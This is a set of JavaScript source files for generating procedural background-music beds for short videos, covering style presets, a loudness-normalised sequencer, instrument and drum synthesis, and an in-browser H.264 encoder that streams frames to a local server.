      for (let i = 0; i < 16; i++) { const t = at(b, i * .25); syn(B, t, b.ch.v[ARP[i % 8]] + (i % 8 === 7 ? 12 : 0), .2 * beat, i % 4 ? .55 : .85, i % 2 ? .3 : -.3, { cut: ac(t), env: 1.5, dk: 18, q: 1.6, sq: .5, pw: .3, sus: .1 }); }
    }));
    S.part({ db: -13, rv: .5, fx: B => pump(B, beat, .3, end) }, B => {
      for (const c of S.chords('pad')) pad(B, c.t0, c.t1, c.ch.p, { cut: 1500, att: 1.5, rel: 2, vo: 4 });
      pad(B, end, end + 3, fin.p, { cut: 1200, att: .5, rel: 3.5 });
    });
    S.part({ db: -11, fx: B => filt(B, 'lp', 900) }, B => S.each('bass', b => { for (let i = 0; i < 8; i++) syn(B, at(b, i * .5), b.ch.b + (i % 2 ? 12 : 0), .4 * beat, i % 2 ? .6 : .85, 0, { cut: 300, env: .8, dk: 10, q: 1, sus: .2 }); }));
    S.part({ db: -15, rv: .05 }, B => {
      S.each('kick', b => { kick(B, at(b, 0), .95); kick(B, at(b, 2.5), .75); });
      S.each('hat', b => { for (let i = 0; i < 4; i++) hat(B, at(b, i + .5), .5, .3); });
    });
    S.part({ db: -19, rv: .5 }, B => S.each('snr', b => snare(B, at(b, 2), .6, { tone: 180, fc: 1500, dk: 18 }, .05)));
    S.part({ db: -11, rv: .4, dl: .35 }, B => S.play('lead', [LEAD], 8, (t, m, len, v) => syn(B, t, m, len, .7 * v, -.1, { cut: 1700, env: .4, dk: 3, q: .8, att: .04, rel: .35, sus: .8, det: 5, vib: .004 })));
  },
};

// Drum-forward boom-bap for the nico-slowdown style (his reel DcJNevhtfuw: ~90 BPM hip-hop, the kit carries it,
// pads around 2 kHz). The beat is on from bar 1: the short lays it from the hook impact (music.start).
STYLES['boom-bap'] = {
  name: 'Boom bap', mood: 'énergie', desc: 'Beat hip-hop sec et en avant, Rhodes mineur, sub, nappe claire',
  bpm: 90, cb: 1, swing: .57, tone: 11000, air: 6, mud: 2,
  verb: { room: .7, damp: .55, db: -15 },
  prog: [{ b: 33, v: [57, 60, 64, 67] }, { b: 29, v: [57, 60, 64, 65] }, { b: 31, v: [55, 59, 62, 65] }, { b: 28, v: [55, 59, 60, 64] }],
  form: [['a', 8, 'drums bass keys'], ['b', 8, '+pad'], ['c', 8, '+bell'], ['brk', 2, 'keys pad'], ['d', 16, 'drums bass keys pad bell'], ['out', 4, 'keys pad']],
  parts(S) {
    const { beat, at, end, fin, rand } = S;
    const KK = { f0: 120, f1: 48, pd: 26, dk: 7.5, dr: 2.2 }, SN = { tone: 190, fc: 1900, dk: 13 };
    S.part({ db: -5, rv: .06, fx: B => { filt(B, 'lp', 12000); drive(B, 1.7); } }, B => S.each('drums', b => {
      kick(B, at(b, 0), 1, KK); kick(B, at(b, 1.75), .7, KK); kick(B, at(b, 2.5), .9, KK); if (b.k % 2) kick(B, at(b, 3.75), .55, KK);
      snare(B, at(b, 1, .008), 1, SN); snare(B, at(b, 3, .008), 1, SN); if (b.k % 4 === 3) snare(B, at(b, 3.75), .45, SN);
      for (let i = 0; i < 8; i++) hat(B, at(b, i * .5), (i % 2 ? .5 : .85) * (.85 + .15 * rand()), i % 2 ? .2 : -.1, b.k % 4 === 3 && i === 7);
    }));
    S.part({ db: -9, fx: B => filt(B, 'lp', 420) }, B => {
      S.each('bass', b => { sub(B, at(b, 0), b.ch.b, 1.4 * beat, 1); sub(B, at(b, 1.75), b.ch.b, .6 * beat, .7); sub(B, at(b, 2.5), b.ch.b + (b.k % 2 ? 7 : 0), 1.3 * beat, .85); });
      sub(B, end, fin.b, 3, .8, { rel: .8 });
    });
    S.part({ db: -10, rv: .25, fx: B => { filt(B, 'lp', 5200); drive(B, 1.3); } }, B => {
      S.each('keys', b => { S.strum(B, at(b, 0, .01), b.ch.v, 1.4 * beat, .55, ep); S.strum(B, at(b, 2.5, .01), b.ch.v.slice(1), .9 * beat, .42, ep); });
      S.strum(B, end, fin.v, 4, .5, ep);
    });
    S.part({ db: -15, rv: .4 }, B => { for (const c of S.chords('pad')) pad(B, c.t0, c.t1, c.ch.v.map(m => m + 12), { wave: 'tri', cut: 2400, att: .6, rel: 1.2, vo: 2, det: 7 }); });
    S.part({ db: -17, rv: .3 }, B => S.each('bell', b => { if (b.k % 2 === 0) [0, 1.5, 3].forEach((p, i) => bell(B, at(b, p), b.ch.v[(i + b.k) % 4] + 24, .8, .4, .25 * (i - 1), { ratio: 3, idx: .6, tau: .8 })); }));
  },
};

// Drum-led 123 BPM bed for the aiwithremy style (his demucs stems: low kick, snare, hats to 10 kHz, A minor bass,
// quiet 1 kHz pluck line). Straight and on the grid (hum 0) so bar 0 starts on the kick: the style's beat.mp3 is a whole-bar loop cut from it.
STYLES['remy-beat'] = {
  name: 'Remy beat', mood: 'énergie calme', desc: 'Beat moderne droit, kick grave, sub en la mineur, petit pluck à 1 kHz',
  bpm: 123, cb: 2, swing: .5, hum: 0, tone: 12000, air: 4, mud: 2,
  verb: { room: .72, damp: .55, db: -16 }, dly: { t: .75, fb: .3, lp: 2600, db: -20 },
  prog: [{ b: 33, v: [57, 60, 64] }, { b: 33, v: [57, 60, 65] }, { b: 33, v: [57, 60, 64] }, { b: 31, v: [55, 59, 62] }],
  form: [['pre', 4, 'drums bass pad pluck'], ['a', 16, 'drums bass pad pluck'], ['b', 8, 'drums bass pad'], ['c', 8, 'drums bass pad pluck'], ['out', 4, 'drums bass pad pluck']],
  parts(S) {
    const { beat, at, rand } = S;
    const P = [[0, 0, .5, 81], [0, .75, .5, 84], [0, 1.5, .75, 88], [1, 2, .5, 86], [1, 2.75, .75, 84]];
    const KK = { f0: 160, f1: 46, pd: 34, dk: 6, dr: 2 }, SN = { tone: 190, fc: 1800, dk: 15 };
    S.part({ db: -5, rv: .05, fx: B => { filt(B, 'lp', 9000); drive(B, 1.5); } }, B => S.each('drums', b => {
      kick(B, at(b, 0), .85, KK); kick(B, at(b, 2.5), .75, KK); if (b.k % 2) kick(B, at(b, 1.75), .5, KK);
      snare(B, at(b, 1), 1, SN); snare(B, at(b, 3), 1, SN);
      for (const p of [.5, 1.5, 3.5]) hat(B, at(b, p), (.85 + .15 * rand()), .2, b.k % 4 === 3 && p === 3.5);
    }));
    S.part({ db: -9, fx: B => filt(B, 'lp', 380) }, B => S.each('bass', b => { sub(B, at(b, 0), b.ch.b, 1.9 * beat, 1, { dr: 2 }); sub(B, at(b, 3), b.ch.b, .9 * beat, .8, { dr: 2 }); }));
    S.part({ db: -16, rv: .3 }, B => { for (const c of S.chords('pad')) pad(B, c.t0, c.t1, c.ch.v, { wave: 'tri', cut: 700, att: .4, rel: .8, vo: 2, det: 6 }); });
    S.part({ db: -18, rv: .2, dl: .3, fx: B => filt(B, 'hp', 500) }, B => S.play('pluck', [P], 2, (t, m, len, v) => syn(B, t, m, len, .6 * v, .15, { cut: 1300, env: 1.4, dk: 20, q: 1.2, sus: 0, rel: .08 })));
  },
};

// Procedural chill beds (2 to 3 min) for shorts: a small bar sequencer over lib/chill-synth.js, styles in lib/chill-styles.js.
// Mixed blind by loudness: every part is normalised to a LUFS target relative to the others, then the master to -16 LUFS.
import { SR, lufs, limit, freeverb } from './dsp.js';
import { rng, dbg, smooth, filt, eq, shelf, drive, wow, pingpong, reseedNoise } from './chill-synth.js';
import { STYLES } from './chill-styles.js';

export { STYLES };

// form: [[section, bars, 'layer ...']]; '+a b' inherits the previous section's layers, '-a' drops one.
function song(st, seed) {
  const rand = rng(seed), rnd = () => rand() * 2 - 1, beat = 60 / st.bpm, barT = beat * 4, cb = st.cb || 1;
  const secs = []; let nb = 0, prev = new Set();
  for (const [name, n, layers] of st.form) {
    const L = new Set(layers.startsWith('+') ? prev : []);
    for (const w of layers.split(/\s+/).filter(Boolean)) w[0] === '-' ? L.delete(w.slice(1)) : L.add(w.replace(/^\+/, ''));
    secs.push({ name, b0: nb, n, L }); prev = L; nb += n;
  }
  const end = nb * barT, T = end + (st.tail ?? 6), N = Math.ceil(T * SR), bars = [];
  for (const s of secs) for (let j = 0; j < s.n; j++) { const k = s.b0 + j, ci = Math.floor(k / cb) % st.prog.length; bars.push({ k, j, t0: k * barT, sec: s, ci, ch: st.prog[ci], has: l => s.L.has(l) }); }
  const sw = st.swing ?? .5, su = (st.swingUnit || .5) * 2, hum = st.hum ?? .005;
  const swing = p => { const u = Math.floor(p / su), r = p / su - u; return (u + (r < .5 ? r * 2 * sw : sw + (r - .5) * 2 * (1 - sw))) * su; };
  const bus = () => [new Float32Array(N), new Float32Array(N)], M = bus(), RV = bus(), DL = bus();
  const add = (D, B, g) => { if (g) for (let c = 0; c < 2; c++) { const d = D[c], s = B[c]; for (let i = 0; i < N; i++) d[i] += s[i] * g; } };
  const spans = (layer, same) => {
    const out = []; let cur = null;
    for (const b of bars) {
      if (b.has(layer) && cur && cur.k1 === b.k && (!same || cur.ci === b.ci)) { cur.k1++; cur.t1 += barT; continue; }
      if (cur) out.push(cur); cur = b.has(layer) ? { ci: b.ci, ch: b.ch, k0: b.k, k1: b.k + 1, t0: b.t0, t1: b.t0 + barT } : null;
    }
    if (cur) out.push(cur); return out;
  };
  const S = {
    st, bars, secs, beat, barT, end, T, N, rand, rnd, fin: st.prog[0],
    at: (b, p, lag = 0) => Math.max(0, b.t0 + swing(p) * beat + lag + rnd() * hum),
    mix(B, { db = -10, rv = 0, dl = 0 } = {}) { const l = lufs(B); if (l < -90) return; const g = dbg(db - 20 - l); add(M, B, g); add(RV, B, g * rv); add(DL, B, g * dl); },
    part(o, fn) { const B = bus(); fn(B); o.fx?.(B); S.mix(B, o); },
    each(layer, fn) { for (const b of bars) if (b.has(layer)) fn(b); },
    chords: layer => spans(layer, true),
    spans: layer => spans(layer, false),
    auto(map) { // value per section, eased in over the section's first 4 bars
      const pts = []; let v = map[secs[0].name] ?? 0;
      for (const s of secs) { const nv = map[s.name] ?? v; pts.push([s.b0 * barT, v, nv, Math.min(4, s.n) * barT]); v = nv; }
      return t => { let p = pts[0]; for (const q of pts) if (q[0] <= t) p = q; return p[1] + (p[2] - p[1]) * smooth((t - p[0]) / p[3]); };
    },
    strum(B, t, notes, len, vel, inst, gap = .014, pan = 0) {
      notes.forEach((m, i) => inst(B, t + i * gap, m, len - i * gap, vel * (1 - i * .06), pan + (i / Math.max(1, notes.length - 1) - .5) * .5));
    },
    play(layer, phrases, L, fn) { // phrase notes [bar, pos, beats, midi, vel]; bars align to k % L so they follow the harmony
      for (const b of bars) {
        if (!b.has(layer)) continue;
        const off = b.k % L, n = phrases.length, ph = phrases[((Math.floor(b.k / L) - Math.floor(b.sec.b0 / L)) % n + n) % n];
        for (const [bar, pos, len, m, vel = 1] of ph) if (bar === off) fn(S.at(b, pos), m, len * beat, vel, b);
      }
    },
  };
  function finish() {
    const dry = lufs(M);
    if (st.dly) { const w = pingpong(DL, st.dly.t * beat, st.dly.fb, st.dly.lp ?? 3200), l = lufs(w); if (l > -90) { const g = dbg(dry + st.dly.db - l); add(M, w, g); add(RV, w, g * .3); } }
    if (st.verb) { const w = freeverb(RV[0], RV[1], N, st.verb), l = lufs(w); if (l > -90) add(M, w, dbg(dry + st.verb.db - l)); }
    filt(M, 'hp', 30); if (st.tone) filt(M, 'lp', st.tone, .6);
    if (st.mud) eq(M, 320, -st.mud, .8); // thin the low mids on pad-heavy styles
    shelf(M, 4500, st.air ?? 5); // air: synth beds come out darker than produced records
    eq(M, 2800, -3, .7); // leave room for the voice
    if (st.wow) wow(M, ...st.wow);
    drive(M, 1.25);
    const out = limit(M, dbg(-16 - lufs(M)), dbg(-1.5)), fi = Math.round(.02 * SR), fo = Math.round(2.5 * SR);
    for (let i = 0; i < N; i++) { const g = Math.min(1, i / fi) * (i > N - fo ? .5 + .5 * Math.cos(Math.PI * (i - (N - fo)) / fo) : 1); out[0][i] *= g; out[1][i] *= g; }
    return { L: out[0], R: out[1], T, lufs: lufs(out), bars: nb, end };
  }
  return { S, finish };
}

export function render(id, { seed = 11 } = {}) {
  const st = STYLES[id]; if (!st) throw new Error(`unknown style "${id}" (${Object.keys(STYLES).join(', ')})`);
  reseedNoise(4242 + seed); const { S, finish } = song(st, seed); st.parts(S); return finish();
}

// Hardware H.264 encode of the canvas, right in the page (WebCodecs, Annex B, VideoToolbox on a Mac). One encoder per
// render worker, kept open across work units: short.mjs hands each worker 2 s units (encodeUnit), each opening on a
// keyframe (an IDR with its SPS/PPS), so units from different workers concatenate as is. The bytes of a unit stream in
// order to the CLI's local server (`sink`, ?n = frames out so far, &end = the unit is complete); nothing big crosses CDP.
// PERF (ms, summed over the units): load = waiting on frame images, render = the whole render(t) including load,
// submit = VideoFrame + encode(), encWait = encoder backpressure, flush = the final flush.
export function installEncoder(canvas, render, PERF) {
  let enc = null, err = null, fps = 30, k = 0, units = [], post = Promise.resolve();
  const send = (u, end) => {
    if (!u.size && !end) return;
    const body = new Blob(u.buf), url = `${u.sink}?n=${u.out}${end ? '&end=1' : ''}`; u.buf = []; u.size = 0;
    post = post.then(() => fetch(url, { method: 'POST', body }));
  };
  window.encodeStart = (f, bitrate) => {
    fps = f; k = 0; err = null; units = []; post = Promise.resolve();
    // nobody looks at this page: a hidden canvas is not composited after every frame (same pixels, checked by hash of
    // the VideoFrame on 180 frames; -0.7 ms of image wait per frame, benchmark 2026-10-21)
    canvas.style.display = 'none';
    for (const key in PERF) PERF[key] = 0;
    enc = new VideoEncoder({
      // outputs come back with the timestamp of their frame: k = the worker's frame counter, which unit it belongs to
      output: c => {
        const i = Math.round(c.timestamp * fps / 1e6), u = units.find(u => i >= u.k0 && i < u.k0 + u.n); if (!u) return;
        const b = new Uint8Array(c.byteLength); c.copyTo(b); u.buf.push(b); u.size += b.length; u.out++;
        if (u.out === u.n) { send(u, true); units.splice(units.indexOf(u), 1); } else if (u.size > 2e6) send(u);
      },
      error: e => err = e,
    });
    enc.configure({ codec: 'avc1.640034', width: canvas.width, height: canvas.height, bitrate, framerate: fps, bitrateMode: 'variable',
      latencyMode: 'quality', hardwareAcceleration: /Mac/.test(navigator.userAgent) ? 'prefer-hardware' : 'no-preference', avc: { format: 'annexb' } });
  };
  // frames [a, b): returns once they are all submitted (the encoder keeps running while the CLI sends the next unit)
  window.encodeUnit = async (a, b, sink) => {
    const T0 = performance.now(); units.push({ sink, k0: k, n: b - a, out: 0, buf: [], size: 0 });
    for (let n = a; n < b; n++) {
      if (err) throw err;
      const r0 = performance.now(); await render(n / fps);
      const e0 = performance.now(); PERF.render += e0 - r0;
      const f = new VideoFrame(canvas, { timestamp: Math.round(k * 1e6 / fps), duration: Math.round(1e6 / fps) });
      enc.encode(f, { keyFrame: n === a }); f.close(); k++;
      const q0 = performance.now(); PERF.submit += q0 - e0;
      while (enc.encodeQueueSize > 3) await new Promise(r => enc.addEventListener('dequeue', r, { once: true }));
      PERF.encWait += performance.now() - q0;
    }
    PERF.total += performance.now() - T0; PERF.frames += b - a;
  };
  window.encodeEnd = async () => {
    const f0 = performance.now(); await enc.flush(); if (err) throw err;
    for (const u of units) send(u, true);   // only if the encoder dropped a frame: the CLI checks the count
    units = []; await post; enc.close(); enc = null;
    PERF.flush = performance.now() - f0; PERF.total += PERF.flush;
    return { ...PERF };
  };
  window.HAS_WEBCODECS = typeof VideoEncoder === 'function';
}

// Instruments, drums, textures and bus FX for the procedural chill beds (lib/chill.js).
// Every voice adds into a stereo bus [L, R] of Float32Array. Absolute gains do not matter: each part is LUFS-normalised later.
import { SR, TAU, clamp, hz, SVF } from './dsp.js';

export const rng = s => () => { s = s + 0x6D2B79F5 | 0; let t = Math.imul(s ^ s >>> 15, 1 | s); t = t + Math.imul(t ^ t >>> 7, 61 | t) ^ t; return ((t ^ t >>> 14) >>> 0) / 4294967296; };
export const smooth = x => x <= 0 ? 0 : x >= 1 ? 1 : x * x * (3 - 2 * x);
export const dbg = db => Math.pow(10, db / 20);
export const PAN = p => { const a = (clamp(p, -1, 1) + 1) * Math.PI / 4; return [Math.cos(a) * Math.SQRT2, Math.sin(a) * Math.SQRT2]; };
let NR = rng(4242); const nz = () => NR() * 2 - 1;
export const reseedNoise = s => { NR = rng(s); }; // once per render, so a track never depends on what rendered before it in the process
const blep = (t, dt) => t < dt ? (t /= dt, t + t - t * t - 1) : t > 1 - dt ? (t = (t - 1) / dt, t * t + t + t + 1) : 0;
const dk = tau => Math.exp(-1 / (tau * SR)); // per-sample factor of an exponential decay with time constant tau (s)

export class Osc {
  constructor(p = NR()) { this.p = p; this.dt = 0; }
  step(f) { this.dt = f / SR; this.p += this.dt; if (this.p >= 1) this.p -= 1; return this.p; }
  sin(f) { return Math.sin(TAU * this.step(f)); }
  tri(f) { return 4 * Math.abs(this.step(f) - .5) - 1; }
  glass(f) { const a = TAU * this.step(f); return Math.sin(a) + .3 * Math.sin(2 * a) + .08 * Math.sin(3 * a); }
  vco(f, sq = 0, pw = .5) { // polyBLEP saw, blended toward a pulse of width pw
    const p = this.step(f), dt = this.dt, s = 2 * p - 1 - blep(p, dt);
    if (!sq) return s;
    const q = (p < pw ? 1 : -1) + blep(p, dt) - blep((p - pw + 1) % 1, dt);
    return s + (q - s) * sq;
  }
}

// Write one mono voice: fn(s) is called once per sample in order (so it may keep state), 10 ms fade at the end.
export function W(B, t, dur, pan, fn) {
  const n0 = Math.max(0, Math.round(t * SR)), n = Math.min(Math.round(dur * SR), B[0].length - n0), [gl, gr] = PAN(pan), fd = Math.round(.01 * SR), L = B[0], R = B[1];
  for (let i = 0; i < n; i++) { let x = fn(i / SR); if (i > n - fd) x *= (n - i) / fd; L[n0 + i] += x * gl; R[n0 + i] += x * gr; }
}

// Damped rotation oscillators packed as [re, im, cos*r, sin*r]: one complex multiply per partial per sample.
const rot = (P, np) => { let y = 0; for (let i = 0; i < np; i += 4) { const re = P[i], im = P[i + 1]; P[i] = re * P[i + 2] - im * P[i + 3]; P[i + 1] = re * P[i + 3] + im * P[i + 2]; y += P[i + 1]; } return y; };
const partial = (O, f, a, tau) => { const w = TAU * f / SR, r = dk(tau); O.push(a, 0, Math.cos(w) * r, Math.sin(w) * r); };

// ---------- keys ----------
export function ep(B, t, m, len, vel = .6, pan = 0) { // FM Rhodes
  const f = hz(m), c1 = new Osc(), c2 = new Osc(), mo = new Osc(), tn = new Osc(), dA = dk(.18), dB = dk(2.2 * Math.pow(261.6 / f, .4)), dI = dk(.2), dR = dk(.07), dT = dk(.05), g = vel * .5;
  let a = .3, b = .7, ix = .5 + 1.6 * vel, r = 1, ti = .3 * vel * Math.min(1, 3000 / (7 * f)); // ti: the tine's bell attack, softer up high
  W(B, t, len + .45, pan, s => {
    const md = Math.sin(TAU * mo.step(f)) * (ix + .2 * vel), y = Math.sin(TAU * c1.step(f) + md) + .6 * Math.sin(TAU * c2.step(f * 1.0017) + md * .8) + ti * Math.sin(TAU * tn.step(f * 7));
    const e = (a + b) * r * (s < .003 ? s / .003 : 1); a *= dA; b *= dB; ix *= dI; ti *= dT; if (s > len) r *= dR;
    return y * e * g;
  });
}

export function piano(B, t, m, len, vel = .5, pan = 0) { // felt piano: inharmonic partials, two detuned strings, soft hammer
  const f0 = hz(m), O = [], tau0 = 4.2 * Math.pow(261.6 / f0, .55);
  for (let k = 1; k <= 16; k++) {
    const fk = k * f0 * Math.sqrt(1 + .00038 * k * k); if (fk > 7000) break;
    const a = Math.pow(k, -1.25) * Math.exp(-(k - 1) * (.75 - .45 * vel)), tau = tau0 / (1 + .5 * (k - 1));
    partial(O, fk * .9996, a * .55, tau * .55); partial(O, fk * 1.0004, a * .45, tau * 1.6);
  }
  const P = Float64Array.from(O), np = P.length, lp = new SVF(), hc = 220 + 300 * vel, dH = dk(1 / 70), dR = dk(.1), g = Math.pow(vel, 1.3) * .5;
  let h = .6, r = 1;
  W(B, t, len + .45, pan, s => {
    const y = rot(P, np) + lp.run(nz() * h, hc); h *= dH; if (s > len) r *= dR;
    return y * r * g * (s < .005 ? s / .005 : 1);
  });
}

const BARS = { // [ratio, amp, decay scale], fundamental decay tau at ref Hz, mallet click [amp, Hz]
  kalimba: { p: [[1, 1, 1], [5.93, .16, .06], [16.2, .04, .02]], tau: 1.5, ref: 440, click: [.05, 2600] },
  marimba: { p: [[1, 1, 1], [3.93, .22, .12], [9.1, .05, .04]], tau: 1.0, ref: 261.6, click: [.03, 1100] },
  vibes: { p: [[1, 1, 1], [4, .16, .22], [10, .03, .07]], tau: 3.2, ref: 440, click: [.012, 2200] },
};
export function mallet(kind, B, t, m, len, vel = .6, pan = 0) {
  const K = BARS[kind], f = hz(m), tau = K.tau * Math.pow(K.ref / f, .5), O = [];
  for (const [ra, a, ts] of K.p) if (f * ra < 15000) partial(O, f * ra, a, tau * ts);
  const P = Float64Array.from(O), np = P.length, bp = new SVF(), dC = dk(.005), dR = dk(.06), g = vel * .5;
  let c = K.click[0] * 8, r = 1;
  W(B, t, len + .35, pan, s => {
    bp.run(nz(), K.click[1], 1.5); const y = rot(P, np) + bp.bp * c; c *= dC; if (s > len) r *= dR;
    return y * r * g * (s < .001 ? s / .001 : 1);
  });
}
export const kal = (...a) => mallet('kalimba', ...a), mar = (...a) => mallet('marimba', ...a), vib = (...a) => mallet('vibes', ...a);

export function bell(B, t, m, len, vel = .5, pan = 0, { ratio = 3.5, idx = 1.1, tau = 2 } = {}) { // FM bell
  const f = hz(m), c = new Osc(), mo = new Osc(), dE = dk(tau), dI = dk(tau * .5), dR = dk(.15);
  let e = 1, ix = idx, r = 1;
  W(B, t, len + .6, pan, s => {
    const y = Math.sin(TAU * c.step(f) + ix * Math.sin(TAU * mo.step(f * ratio))) * e * r; e *= dE; ix *= dI; if (s > len) r *= dR;
    return y * vel * .4 * (s < .002 ? s / .002 : 1);
  });
}

// Held chord from t0 to t1 plus release. Voices spread across the stereo field, cutoff breathes on an LFO in absolute time.
export function pad(B, t0, t1, notes, o = {}) {
  const { att = 1.6, rel = 2.2, cut = 900, q = .7, det = 9, vo = 3, wave = 'saw', lfo = .05, depth = .3, g = 1, vib = 0 } = o;
  const n0 = Math.max(0, Math.round(t0 * SR)), hold = t1 - t0, n = Math.min(Math.round((hold + rel) * SR), B[0].length - n0), L = B[0], R = B[1];
  const amp = g * .25 / Math.sqrt(notes.length * vo), fn = wave === 'saw' ? 'vco' : wave;
  notes.forEach((m, j) => {
    const f = hz(m), side = j % 2 ? -1 : 1, fl = new SVF(), fr = new SVF(), ph = j * 1.7;
    const V = Array.from({ length: vo }, (_, v) => { const x = vo > 1 ? v / (vo - 1) * 2 - 1 : 0, [gl, gr] = PAN(x * .7 * side); return { o: new Osc(), r: Math.pow(2, det * x / 1200), gl, gr }; });
    for (let i = 0; i < n; i++) {
      const s = i / SR, vb = vib ? 1 + vib * Math.sin(TAU * 5 * s + j) : 1; let l = 0, r = 0;
      for (const v of V) { const x = v.o[fn](f * v.r * vb); l += x * v.gl; r += x * v.gr; }
      const fc = cut * (1 + depth * Math.sin(TAU * lfo * (t0 + s) + ph)), e = (s < att ? smooth(s / att) : 1) * (s > hold ? 1 - smooth((s - hold) / rel) : 1);
      L[n0 + i] += fl.run(l, fc, q) * e * amp; R[n0 + i] += fr.run(r, fc, q) * e * amp;
    }
  });
}

// ---------- bass and leads ----------
export function sub(B, t, m, len, vel = .8, { att = .012, rel = .09, dr = 1.6 } = {}) {
  const f = hz(m), o = new Osc(0), k = Math.tanh(dr);
  W(B, t, len + rel * 4, 0, s => Math.tanh(dr * o.sin(f)) / k * vel * .5 * (s < att ? smooth(s / att) : 1) * (s > len ? Math.exp(-(s - len) / rel) : 1));
}

export function upright(B, t, m, len, vel = .7, pan = 0) {
  const f = hz(m), o = new Osc(0), lp = new SVF(), th = new SVF(), dE = dk(1 / 1.1), dT = dk(1 / 40), dR = dk(.04);
  let e = 1, h = 1.5, r = 1;
  W(B, t, len + .15, pan, s => {
    const p = o.step(f), x = Math.sin(TAU * p) + .45 * (4 * Math.abs(p - .5) - 1);
    const y = lp.run(x, 300 + 900 * Math.exp(-9 * s)) * e + th.run(nz() * h, 120); e *= dE; h *= dT; if (s > len) r *= dR;
    return y * r * vel * .5 * (s < .004 ? s / .004 : 1);
  });
}

export function syn(B, t, notes, len, vel = .7, pan = 0, o = {}) { // two detuned VCOs into a resonant low-pass with a decaying envelope
  const { cut = 1200, env = 1, dk: d = 8, q = .9, att = .005, rel = .15, det = 6, sq = 0, pw = .5, sus = .3, vib = 0, vd = .25 } = o;
  const ns = [].concat(notes), g = vel * .5 / Math.sqrt(ns.length), r1 = Math.pow(2, det / 1200), r2 = 1 / r1, dE = Math.exp(-d / SR), dA = Math.exp(-d * .35 / SR);
  for (const m of ns) {
    const f = hz(m), a = new Osc(), b = new Osc(), fl = new SVF(); let ee = 1, ea = 1;
    W(B, t, len + rel * 4, pan, s => {
      const ff = vib ? f * (1 + vib * Math.sin(TAU * 5.2 * s) * smooth((s - vd) / .4)) : f;
      const y = fl.run((a.vco(ff * r1, sq, pw) + b.vco(ff * r2, sq, pw)) * .5, cut * Math.pow(2, env * 2 * ee), q);
      const e = (s < att ? s / att : 1) * (sus + (1 - sus) * ea) * (s > len ? Math.exp(-(s - len) / rel) : 1); ee *= dE; ea *= dA;
      return y * e * g;
    });
  }
}

export function flute(B, t, m, len, vel = .7, pan = 0) {
  const f = hz(m), o = new Osc(), bp = new SVF(), lp = new SVF();
  W(B, t, len + .3, pan, s => {
    const p = TAU * o.step(f * (1 + .006 * Math.sin(TAU * 5 * s) * smooth((s - .25) / .4))), tone = Math.sin(p) + .25 * Math.sin(2 * p) + .08 * Math.sin(3 * p);
    const br = bp.run(nz(), f * 2, 2) * (.12 + .25 * Math.exp(-s / .08));
    return lp.run(tone + br, 4000) * vel * .4 * smooth(s / .06) * (s > len ? Math.exp(-(s - len) / .08) : 1);
  });
}

// ---------- drums ----------
export function kick(B, t, vel = 1, { f0 = 105, f1 = 47, pd = 22, dk: d = 6.5, dr = 1.5 } = {}) {
  let ph = 0; const k = Math.tanh(dr);
  W(B, t, .7, 0, s => {
    ph += (f1 + (f0 - f1) * Math.exp(-pd * s)) / SR;
    const x = Math.sin(TAU * ph) * Math.exp(-d * s) + (s < .004 ? nz() * .15 * (1 - s / .004) : 0);
    return Math.tanh(dr * x) / k * vel * .8;
  });
}
export function snare(B, t, vel = 1, { tone = 185, fc = 1700, dk: d = 15 } = {}, pan = 0) {
  let ph = 0; const f = new SVF();
  W(B, t, .45, pan, s => {
    ph += tone * (1 + .3 * Math.exp(-40 * s)) / SR; f.run(nz(), fc, .5);
    return (Math.sin(TAU * ph) * Math.exp(-25 * s) * .5 + (f.hp * .5 + f.bp) * Math.exp(-d * s)) * vel * .5;
  });
}
export function rim(B, t, vel = 1, pan = 0) {
  const f = new SVF();
  W(B, t, .12, pan, s => (Math.sin(TAU * 1720 * s) * .5 * Math.exp(-90 * s) + Math.sin(TAU * 520 * s) * .6 * Math.exp(-70 * s) + f.run(nz(), 3000, 1.2) * Math.exp(-120 * s)) * vel * .4);
}
export function hat(B, t, vel = 1, pan = 0, open = false) {
  const h = new SVF(), b = new SVF(), d = open ? 9 : 45;
  W(B, t, open ? .5 : .12, pan, s => { h.run(nz(), 5000); b.run(nz(), 8000, 1.2); return (h.hp + b.bp * .5) * Math.exp(-d * s) * vel * .3 * (s < .001 ? s / .001 : 1); });
}
export function shaker(B, t, vel = 1, pan = 0) {
  const b = new SVF();
  W(B, t, .15, pan, s => { b.run(nz(), 6000, 1.2); return b.bp * vel * .4 * (s < .008 ? s / .008 : Math.exp(-(s - .008) * 40)); });
}
export function brush(B, t, len, vel = 1, pan = 0) {
  const b = new SVF(), l = new SVF();
  W(B, t, len, pan, s => { b.run(nz(), 2800, .6); return l.run(b.bp, 6000) * vel * .3 * Math.pow(Math.sin(Math.PI * clamp(s / len)), 1.5); });
}
export function brushTap(B, t, vel = 1, pan = 0) {
  const b = new SVF();
  W(B, t, .2, pan, s => { b.run(nz(), 2500, .8); return b.bp * vel * .5 * Math.exp(-35 * s) * (s < .002 ? s / .002 : 1); });
}
const RIDE = [3120, 4310, 5170, 6830, 7570];
export function ride(B, t, vel = 1, pan = .3) {
  const h = new SVF(), ph = RIDE.map(() => NR());
  W(B, t, 1.2, pan, s => {
    h.run(nz(), 5000); let y = h.hp * .3 * Math.exp(-3 * s);
    for (let i = 0; i < 5; i++) y += Math.sin(TAU * (RIDE[i] * s + ph[i])) * .15 * Math.exp(-(2 + i) * s);
    return y * vel * .35 * (1 + 2 * Math.exp(-25 * s)) * (s < .001 ? s / .001 : 1);
  });
}
export function tick(B, t, vel = 1, f = 1500, pan = 0) {
  W(B, t, .06, pan, s => (Math.sin(TAU * f * s) + .4 * Math.sin(TAU * 2.7 * f * s)) * Math.exp(-120 * s) * vel * .4);
}
export function hand(B, t, vel = 1, f0 = 150, pan = 0) {
  let ph = 0; const b = new SVF(), d = f0 < 160 ? 7 : 10;
  W(B, t, .6, pan, s => {
    ph += f0 * (1 + .5 * Math.exp(-60 * s)) / SR; b.run(nz(), 1200, 1);
    return (Math.sin(TAU * ph) * Math.exp(-d * s) + b.bp * .4 * Math.exp(-60 * s)) * vel * .5 * (s < .002 ? s / .002 : 1);
  });
}

// ---------- textures (whole bus) ----------
export function vinyl(B, rate = 1) {
  const R = rng(91), hp = new SVF(), lp = new SVF(), nh = new SVF(), nl = new SVF(), [L, Rr] = B;
  let gl = 1, gr = 1;
  for (let i = 0; i < L.length; i++) {
    let c = 0; if (R() < rate * 7 / SR) { c = (R() * 2 - 1) * (R() < .1 ? 1 : .35); [gl, gr] = PAN(R() * 1.4 - .7); }
    hp.run(c, 900); nh.run(nz(), 1000); const x = lp.run(hp.hp, 7000), h = nl.run(nh.hp, 5000) * .02;
    L[i] += x * gl + h; Rr[i] += x * gr + h;
